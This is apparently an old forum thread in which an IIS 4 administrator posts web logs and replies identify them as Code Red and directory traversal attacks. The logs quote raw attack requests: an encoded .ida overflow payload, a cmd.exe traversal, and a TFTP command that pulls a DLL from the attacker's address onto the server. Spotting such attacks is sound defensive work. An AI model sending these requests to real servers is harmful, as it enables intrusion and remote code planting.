Guys, I'm using Nt 4 server on iis 4 I'm ny web sites log i get this: 211.20.79.115, -, 8/12/02, 1:41:40, W3SVC3, ITSERVER2, %serversip%, 381, 4039, 604, 404, 2, GET, /default.ida, NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a, and this: 213.191.82.127, -, 8/12/02, 2:00:06, W3SVC3, ITSERVER2, %servers ip%, 241, 65, 616, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe, /c+dir, and this: 24.141.65.203, -, 8/10/02, 0:47:35, W3SVC3, ITSERVER2, %serversip% , 60, 153, 462, 502, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe, /c+tftp%20-i%2024.141.65.203%20GET%20cool.dll%20c:\httpodbc.dll, That doesnt looks normal? doesnt it? Is there a virus? or is someone trying to hack in?

looks like someone is trying to hack. the 2nd and 3rd look like they're trying to have some code executed, and the first one looks like it's trying to overrun a buffer i could be wrong, but i doubt you have any websites trying to reference /winnt/system32/cmd.exe

This is the code red vulnerability. read this to learn more. http://www.cert.org/advisories/CA-2001-19.html